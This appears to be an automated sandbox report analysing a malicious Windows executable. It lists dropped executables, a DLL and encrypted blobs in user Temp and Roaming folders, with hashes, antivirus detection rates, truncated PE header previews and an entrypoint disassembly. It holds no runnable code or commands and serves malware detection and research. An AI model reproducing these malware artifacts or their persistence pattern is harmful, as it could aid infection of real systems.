SHA-512:	6D3FD9FDBF8D15B79D23F6E50C15A04822FCDD610DFD1C3A1C86C2268479369DF099F32E3C9908DB2FDFBB593A93405E419AE169E66068A1DC089E8D54C805A5
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1671884" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE2BC.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Aug 31 15:34:25 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	34598
Entropy (8bit):	1.758815567132409
Encrypted:	false
SSDEEP:	96:5+8v88/O43hbdi7oXvjM0M+v6S74NQd0qp33/b1jdgtioU7so5qWInWIXwIudHPi:zHJxROqMS7kQdvp3PbZX8SdHPnlMff
MD5:	28569A51C61660BD029F083C74D8E7CA
SHA1:	07DA9531CE97F17CF9372E35102641F248B61766
SHA-256:	BE94CFEE5B9CC4BE9DFBEDEB0A2963AFA42F95950CF11891C1B2316E817F8736
SHA-512:	1B8C12F6986065A202A167E70B2A5B9060A553BA6291200C4681EA0D43287D8DCF69E99F76AC7DDC003406F8911330CDD6B2865F66CB7A03B1B047AC0ABF2003
Malicious:	false
Preview:	MDMP....... ..........c....................................................T.......8...........T...........`....\|...........................................................................................U...........B......4.......GenuineIntelW...........T...........n..c............................. ..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE899.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8388
Entropy (8bit):	3.69664386322183
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiT16aRH96YqgSURUgmf4SuCpr389bVQsfZHm:RrlsNih6aRH96YtSURUgmf4SeVjfE
MD5:	620BB299CA7BC8D0CA9F1E5BBEC87CEC
SHA1:	8B314BEE3C85E3082C0EEA7A265DF4BCCFFE54D7
SHA-256:	06BCF2C476983E0BDF1C3351EF8218AAA10C1D92C3A85B2C400FBCA927FC0D64
SHA-512:	4A6F5DF32E278D97AA27FD1D1A23AED6B6F40D0E2F07450D870CBAB8CEC5FE3A3BD484EC2794BEE43895DF740816DF710710C18DF0FB3A28FA2E75A0C3E7CDBD
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.0.8.4.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREA30.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4741
Entropy (8bit):	4.469782798530799
Encrypted:	false
SSDEEP:	48:cvIwSD8zs0JgtWI9xkRSWgc8sqYj5m8fm8M4JweGMFb+q8v2eG00eCRubjd:uITfyckhgrsqY1JwJeK2JZeCRijd
MD5:	06B8172A0E2EDE6DCBF3902481363A9B
SHA1:	AF0468A8D82AECA40C763F80680543EA07CAE309
SHA-256:	8434B812B81E8180E6510BB1622FAA963BFF067BB828CA021B23D0F20AF8BA51
SHA-512:	A48C20FFAEE0CA1E7EF62360AE6719396914C0F05A77473E6D707ECAE3D4FE39D56154F8A3E9568F69647D00343121B36C7E7329A228BD5542AC244BB2663944
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1671885" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF682.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Aug 31 15:34:32 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	47176
Entropy (8bit):	2.2504242430150283
Encrypted:	false
SSDEEP:	192:+p4X5C+txfOeJ3XuiSw9FMP0sqc/T2UPMvFINgzaE24aW2s7YAvdmt2jW45S:j7SelTDMBraPFIwM4O2J5S
MD5:	446F6F5FA65D6DF556B67215114764D5
SHA1:	35E27756F8FB4F02F906C1DD0034A1A5A0688066
SHA-256:	DE61F9D5DBC462737B4931DEBBAC57C25602D9605AEF930B8D7A6E63C8B6F2AE
SHA-512:	372592D3F68C1FBCB36B9806EC4168BFFEA7F99AC3647ED865D5F2E29688F67EDCDB0593FFC0EFFA7359C767DFB939293334594036E83DBFB4B204A31481379A
Malicious:	false
Preview:	MDMP....... ..........c....................................4....(..........T.......8...........T............................................................................................................U...........B......h.......GenuineIntelW...........T.......4...{..c............................. ..2...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\151.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	973664
Entropy (8bit):	6.07562613583279
Encrypted:	false
SSDEEP:	24576:G95gpCAsQuAe+ObzXVzJxEYjtEPkNYr/:C59+ObzXOYCPL
MD5:	B913B72892BFD294A808D7E685DC3A19
SHA1:	0ADC55B3C4471503EF722835B99E89376F332223
SHA-256:	403A80681DBB149307D62E94A860850699E537C1F2A284BBF202A0E9B038BF31
SHA-512:	31839548615020AAEDD9B5E6B6F6E1601F1CEB43F28D9D5C88FBF1B79055DD20860850769087EDFAEE394FC2CF64EC1D3F8CC05B2B5E43BAA19E4ABD9A737CD8
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 39%, Browse Antivirus: ReversingLabs, Detection: 58%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........=...\...\...\...7...\...7..Z\...7...\..&...\..&...\...7...\...\..\..&..\..&...\..&...\..&...\..Rich.\..................PE..L....P.c............... ............J/....... ....@.......................................@..................................B..<....`..................`U...p...b..p...8...............................@............@...............................text............................... ..`.rdata...3... ...4..................@..@.data........`.......@..............@....idata..-....@......................@..@.00cfg.......P......................@..@.rsrc........`......................@..@.reloc...p...p...r..................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\39AF.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	188416
Entropy (8bit):	6.933168679739018
Encrypted:	false
SSDEEP:	3072:DBu/booFZs+4oOYcmtbRkF/pstBaDqwONnct43EpstBaDqwONnct43rBl3N2UR:DBu/boGUoOciF/p/uwONct43Ep/uwON/
MD5:	AE9E2CE4CF9B092A5BBFD1D5A609166E
SHA1:	00C12EC16B5116403AE1A9923B114451880B741D
SHA-256:	CA5795709AF3BC2E03EC02C7307D5C85A844C421E36AFE30EB0F571E79342E87
SHA-512:	54727C7931293B6498E20B602DA13FF48498F2F52ABDE5CB79A412C128CDA203DB11F616F22D70F37CAD51D8642F5DDC8E3E761A2300545DA8A0F379612F15DA
Malicious:	false
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: KHJGTNuePB.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........'d..F...F...F..=IU..F...w..F...d..F...g..F..=IW..F...F...F...x..F...r..F..Rich.F..........PE..L...q..c..........................................@.........................................................................L...d....P..(...............................................................@............................................text............................... ..`.rdata..,+.......0..................@..@.data...D4....... ..................@....rsrc........P.......0..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4962.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3923456
Entropy (8bit):	7.824160991100444
Encrypted:	false
SSDEEP:	98304:Ihq+oEPXzLUV3HDX3vxp+Btu6VXeiFHPzvgcB8LsTR:iVoyXzLC3vuDu6RXhP2
MD5:	2679869D7C3C730553BDB94848DDEEA5
SHA1:	EE8DA34EC12A1F27E32BCEE4365B0B34462A22F6
SHA-256:	D982560420D121513BBA42F5D0C6007B874D84AB754E3736D1CD0F2251E90B5D
SHA-512:	C9191F09AB26624F484EBEE05CB880EA6DB50FEFC8A152F6CFD5BED53E17604AFF243F008366E2EE9B4A76927D1F92F484724B06ECE22AD6F5044C45932338EB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...`..c..........#..................+M........@.............................`i........... ................................................. .O......Pi.......h. ............................................=S.0.....h.8............p7..............................text.............................. ..`.rdata...U..........................@..@.data........0......................@....pdata.............................@..@_RDATA.......`......................@..@.vmp0...#....p......................`..`.vmp1.....;..p-...;.................`..h.rsrc........Pi.......;.............@..@................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\96E9.dll

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1695744
Entropy (8bit):	7.069548164660045
Encrypted:	false
SSDEEP:	24576:Pr+PiDthf0lU10GmSD7Qsv9U82iY2v/G3fmrzmLxn62D0NQ9cB:PEo0YHmqbve8NY2YurSdnGNh
MD5:	974FD65A521D130F1876B80572C8F55D
SHA1:	07D9BD4FE08EF26583CD68B71D39204DAE971CAB
SHA-256:	945364E52350F126B586F838B5226EC706C5740B4F8C974AE9EE4BAAF852B22F
SHA-512:	4AACAB077DDE07BC2EE924C4B0A9AB8B303C38403BE3053E07927A9E1F4B918F50AED9609A1EE9726BD8516CCD4878B8CF3CF451D932E6E1862A704A5628E71D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........................................F..SF..SF..S.viS...S..\S...S..R-..S.vmS.SX. Sj..S tnS...Sa\.Sy..S(.R`..Sc.CS...SO.1SK..Sc.CS..Sa\.S#..S).?S..SF..S...S..Rd..Sc.\|S...Sa\hS.S...R...Sc..S*..SRichF..S............PE..L...B..c...........!.........0......#.............@........................................@.................................@.......P.......................`...l..................................................,C..d............................text...@........................... ..`.rdata../v..........................@..@.data........@.......@..............@....idata.......@.......0..............@....rsrc........P.......@.................@.reloc......`.......P..............@..B....................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A784.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	298496
Entropy (8bit):	6.548993556368119
Encrypted:	false
SSDEEP:	6144:IJBAXM+0X8WT4AEw4Hsp893FpSyDCgyFODMFZd7:eAL0M8LZ4Hsp8hFpdCbaU
MD5:	F236C35612EA884351F1D4A8694D8AA1
SHA1:	7B715AEABB9763D14D272561AD30D575C915E63C
SHA-256:	782739F300B2ECB23F990488B9C92E943E63CB30AB4CF11E4B13A133D49F5990
SHA-512:	406EFC61ECC501DFDA76A6FCED16701D321C22A91A77C7411E265DF19B3A291D43F2A6C67C990A875ACFC1A71A89712D0A6FE0369BC8A955EC4DD13A86C56678
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q.I..............u.......c.....2E................d.(.....t.......q.....Rich............PE..L....0.`......................A..............0....@...........................D.....T...........................................P.....D.@4..............................................................@............................................text... ........................... ..`.data....KA..0...@..................@....rsrc...@4....D..6...X..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ausuy12.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\D3F7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:GoB:GA
MD5:	5153078D272D1E896CDD29A97F4A8134
SHA1:	B01F942DA64BC8B086C937EE8B894F63CCE04EA7
SHA-256:	319979C4B77DC847FBC472D44E88015F1135FCD95F4F1FFCB67B7C79C2F22D99
SHA-512:	0A6885AE78304944A749DAD855DD04B172542295DD15110E778E8D89E158AFB11F8CD3AC6E60F0BDEB96810E59816A5C0E61AB6710ECB9434707E9F1EB59A993
Malicious:	false
Preview:	Ajklq1i..

C:\Users\user\AppData\Local\Temp\D3F7.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	973664
Entropy (8bit):	6.075485507955364
Encrypted:	false
SSDEEP:	24576:GX5YBMFsQuAe+ObzXcoJxEYj8X3FNInCW+:A5O+ObzXIYI3DW
MD5:	2FA5D266A3D92286FA470A39ACEC5B0E
SHA1:	FC05DF9B3727797DF070F3063072916AE67A61C3
SHA-256:	FCDFFB57C93CEA3FC26287DF4D217DB22B1C9B9C9B05A7A1C62B9A08A256DE51
SHA-512:	AB7C68274E61EFAA889BE82BC92DF7C7BAF5C6E62681666EF170A61833112BBD403EB0EF405D6B024E312A44B8A4B667A31924C875C367079327C5A07C6BEBBA
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........=...\...\...\...7...\...7..Z\...7...\..&...\..&...\...7...\...\..\..&..\..&...\..&...\..&...\..Rich.\..................PE..L.....c............... ............J/....... ....@.......................................@..................................B..<....`..................`U...p...b..p...8...............................@............@...............................text............................... ..`.rdata...3... ...4..................@..@.data........`.......@..............@....idata..-....@......................@..@.00cfg.......P......................@..@.rsrc........`......................@..@.reloc...p...p...r..................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\bwgdrja

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	298496
Entropy (8bit):	6.551340311319597
Encrypted:	false
SSDEEP:	6144:2JFzrhO0zsWT4lkwIHswMd5VpSi+oVX4FVlAmC1AG3c5U0TSYKNoxvn:QzE0YcaZIHswMnVpEoeVumC1T3c5U0WG
MD5:	001AAF70FD33E2A1386C65AE04A8D602
SHA1:	F3126F1C05FEC0A927AA07BFC7CCA5EF2877DF16
SHA-256:	ABFB74DB08D5D4790FB03D850342913D8A18BB00B6099AD8376648CC3321E501
SHA-512:	6357CBCD2C400F5276BD5C57519957E9D755B895DE46F1F6FECEBB143911DC94DACDA6DA90054E6A565D4E4044F8C191D21B22046563AA895AEFB3CE6A8A4EEA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q.I..............u.......c.....2E................d.(.....t.......q.....Rich............PE..L...7..a......................A.............0....@...........................D.....L...........................................P.....D.@4..............................................................@............................................text............................... ..`.data....KA..0...@..................@....rsrc...@4....D..6...X..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\bwgdrja:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\cegdrja

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	98912
Entropy (8bit):	6.288162510609848
Encrypted:	false
SSDEEP:	1536:mdCQC+TbenjRV4hbdZ7Fbk7zrbITCFcnMeaYNVq7B7d:mdCQZTbejTHXACFcnMjiMJ
MD5:	6807F903AC06FF7E1670181378690B22
SHA1:	901EC730ADC4A7C8531E8DA343A977E04FDE8B03
SHA-256:	115D04150F524C103CA08E18305B0B103A3767336E19404235D2017F4B233CE5
SHA-512:	37CC7812BFD4F5A4D81D7D4B5B5906D35928856BFAF7B532481B4233AFA36E9C41C3D42D84290288A0DEB47F5D8CD54FE1280C1E0F639B8240F9AB2638716EEB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........O...!R..!R..!RR..R..!R8..R..!R8..R..!R8..R..!R8..R..!R...R..!R.. Rg.!RR..R..!R.Y.R..!R.Y.R..!R.Y.R..!RRich..!R........................PE..L..._X.Z.........."..........2............... ....@..................................@....@...... ...........................A.......P...............D..`>...`..........T..............................@............@...............................text............................... ..`.data........ ......................@....idata..j....@......................@..@.rsrc........P....... ..............@..@.reloc.......`.......0..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\jeeiefd

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	248375
Entropy (8bit):	7.999218029990139
Encrypted:	true
SSDEEP:	6144:97zWYh6Ox/gMIl3mU8j0HYG9ySXwEblG19bO5v0pp//BNt:pjhX9gbl2pUYanNblg6ep/zt
MD5:	F92A3944D9195335C5312B471E853EB2
SHA1:	FFFD3A359978A3F71614A7488A8819B5D6D18929
SHA-256:	184D18AC76C90971A4D6297ADD88A4C0ACC139BACF58F026F14D94901D8103F0
SHA-512:	AE78CF1964BB3A8A3D4BC2F001E112263DA0AFCF509B083FF8AB57C0518A4390F5B2B6DA43660D088549D6BB20B2EA042966A762B3DF66FD5EFBB106403CB62F
Malicious:	false
Preview:	..%..."K.j5AF.(.xO.w..R..,.%.X...Q....I.&...1E.......,..8/.......H..=J..L....\|.u...y......r...D.=.'...O..R.F....vkz.C\.+.<.?...XL.!J<IJ6../s..Y}:.&.{....e....,.1Q..K...#....OM.0b...>.9...`(......cF..(rg......h.+T`...._A..s...8.N.....n.e.>..A...o..q?.V[...q...e.....u...f..y...._/h(..g..x._-2G...N.;..b.E.?.......D.....*5 .g-..m.y.P.u...$d.exa'.Y:n..H4Q~.&.I...RK..8.o....NQ(C....f..`p..].L9..j..S.+z.Z.....#.MR{1.....q'.....X ..s.?...l.K.7eC...?.i...hX.....7.d...-..XA...7.7..]K.X..)X..3...wz...r.=7O>....5..Y..k....EV[.~..)..w...l.......PcP..l....~&.#R.(=...H\KJ..I.~p.g..zI..D..... ..N..Zcr.S<...H.)A.o.0.k...+.?..m.%.X..2}.'.zGe..4.....AG^I..C.8.....zL^....r}r2.....O\|7.z..$.I%R.zZ7.q.....Z....%$..w.?(.9.?.h.:gTcD\2+,.N.qK..k.{.E..Z..S8..: g.........Gbu7.Vq. ..b...M.....^$.g k.P....-.L.!L..B78{....3..c4Aew.......O(."..k.Qa+.M.CH.......-...+t..R..)..F5..%.7..H.thav`p.6.(.zS.m..>'.H..5...\Wo.....@M.YB){[...'..q..C..d....3.OB.=s.h.q...6..>N.

C:\Users\user\AppData\Roaming\wrtvwfe

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	modified
Size (bytes):	160970
Entropy (8bit):	7.998988031347405
Encrypted:	true
SSDEEP:	3072:DJ9r3XKKKvPQsbJVXOk3+df5DojgIzJnv083nP7BNpqi5ynOARlF0KsCOhH08/m5:LrHKtvnzXOk38o8Av0cnVbybRT07HO
MD5:	19A6A7298AB082E9C19CC64F7DFFD2F0
SHA1:	E5CCD3863DBEFFC22C55AE74B62AA4E84B9AFFB9
SHA-256:	383C4D2AF810FC287AD5281FFAE332184276BB0C38AC419B621B440AC55B6ECC
SHA-512:	450F272C867FDC94655F13EB61CBF319113FCD47C76B615C958D8E06B03A17DE505BF3C36FBBE9DD2A6C5030E912899089FCA0A80168508AD936344F1977AAF2
Malicious:	false
Preview:	B..v.!..)>..5+...d..`V....Bi..L.......#..G.c....%......)(y1_.-.....?........u.d.........<v:..`....X""I.@.G../.c.:u.X...1.K.h..p.0O...b..S...D...q\.uVe.h...u~..Uv._r<5b/h..D.r.Uq...KT..$.f..J...W......s....5.BFv.;....p.Jt.....].l.)`L....=......~%.A$..t..lFm..F....!V(..2.......MQ...>..T.......0/....M.....2....t6%..`.f=::n:.Y.fn.`).....]kW.W..4..2.d..).V..(.&.&.....7..h]c.#..`..0..X.V.....C.L...@..1{I.(..Z......H3..=..:...G..V..c.hU.A..~K..eo..@....,.Fj.v....0............6...U.9..<.LPOx"3b...,._}..E.k..MO./.%Lc..`'{..\|..ib\..w.#....fk...5.<.y..3..5...S...(Gr.Q...O..gS...?V.-..w........-..'.....zv.p/!..R...'...../n!..=...E.4.t.`.;jN.j..p...wa.hEU.).K..K.l&.}..TO..@.+..@\..`<..B4..B....@Y....t....>...n....i$...U....qi..J/..rF7..~A.....t.)FWP....S8.."...0..l...b..RQ6..P.l.6..[..L.6@.ZC`..$.i.r....k...g.r.....e..@.K.......W...a.aG.[..1f.d....E#].9...@..`...)..k..l>0.B...E..y....!....7.f)...=..g..t06L..Et..v.....N..L.RP...{.3.CJ.."..=...t

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\39AF.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:y:y
MD5:	81051BCC2CF1BEDF378224B0A93E2877
SHA1:	BA8AB5A0280B953AA97435FF8946CBCBB2755A27
SHA-256:	7EB70257593DA06F682A3DDDA54A9D260D4FC514F645237F5CA74B08F8DA61A6
SHA-512:	1B302A2F1E624A5FB5AD94DDC4E5F8BFD74D26FA37512D0E5FACE303D8C40EEE0D0FFA3649F5DA43F439914D128166CB6C4774A7CAA3B174D7535451EB697B5D
Malicious:	false
Preview:	..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.551340311319597
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	298496
MD5:	001aaf70fd33e2a1386c65ae04a8d602
SHA1:	f3126f1c05fec0a927aa07bfc7cca5ef2877df16
SHA256:	abfb74db08d5d4790fb03d850342913d8a18bb00b6099ad8376648cc3321e501
SHA512:	6357cbcd2c400f5276bd5c57519957e9d755b895de46f1f6fecebb143911dc94dacda6da90054e6a565d4e4044f8c191d21b22046563aa895aefb3ce6a8a4eea
SSDEEP:	6144:2JFzrhO0zsWT4lkwIHswMd5VpSi+oVX4FVlAmC1AG3c5U0TSYKNoxvn:QzE0YcaZIHswMnVpEoeVumC1T3c5U0WG
TLSH:	F7549D04ABA0C435F5F312F446B69368B93D7AA1A73450CF62E51AEE5734AE0EC3134B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q..I..............u.......c.....2E................d.(.....t.......q.....Rich............PE..L...7..a......................A....

File Icon


Icon Hash:	c8d0d8e0f8e0f0e0

Static PE Info

General

Entrypoint:	0x40adf0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x61D1F837 [Sun Jan 2 19:08:39 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	17de892ba8cf75d300bdd7dee8b9ca3a

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F7C80C40E1Bh
call 00007F7C80C33806h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 00430C60h
push 0040E340h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [00445C44h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00401198h]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007F7C80C33818h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007F7C80C33948h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007F7C80C33984h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007F7C80C41EDAh
add esp, 04h
test eax, eax
jne 00007F7C80C337FCh
push 0000001Ch
call 00007F7C80C3393Ch
add esp, 04h
call 00007F7C80C3ADC4h
test eax, eax
jne 00007F7C80C337FCh
push 00000010h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
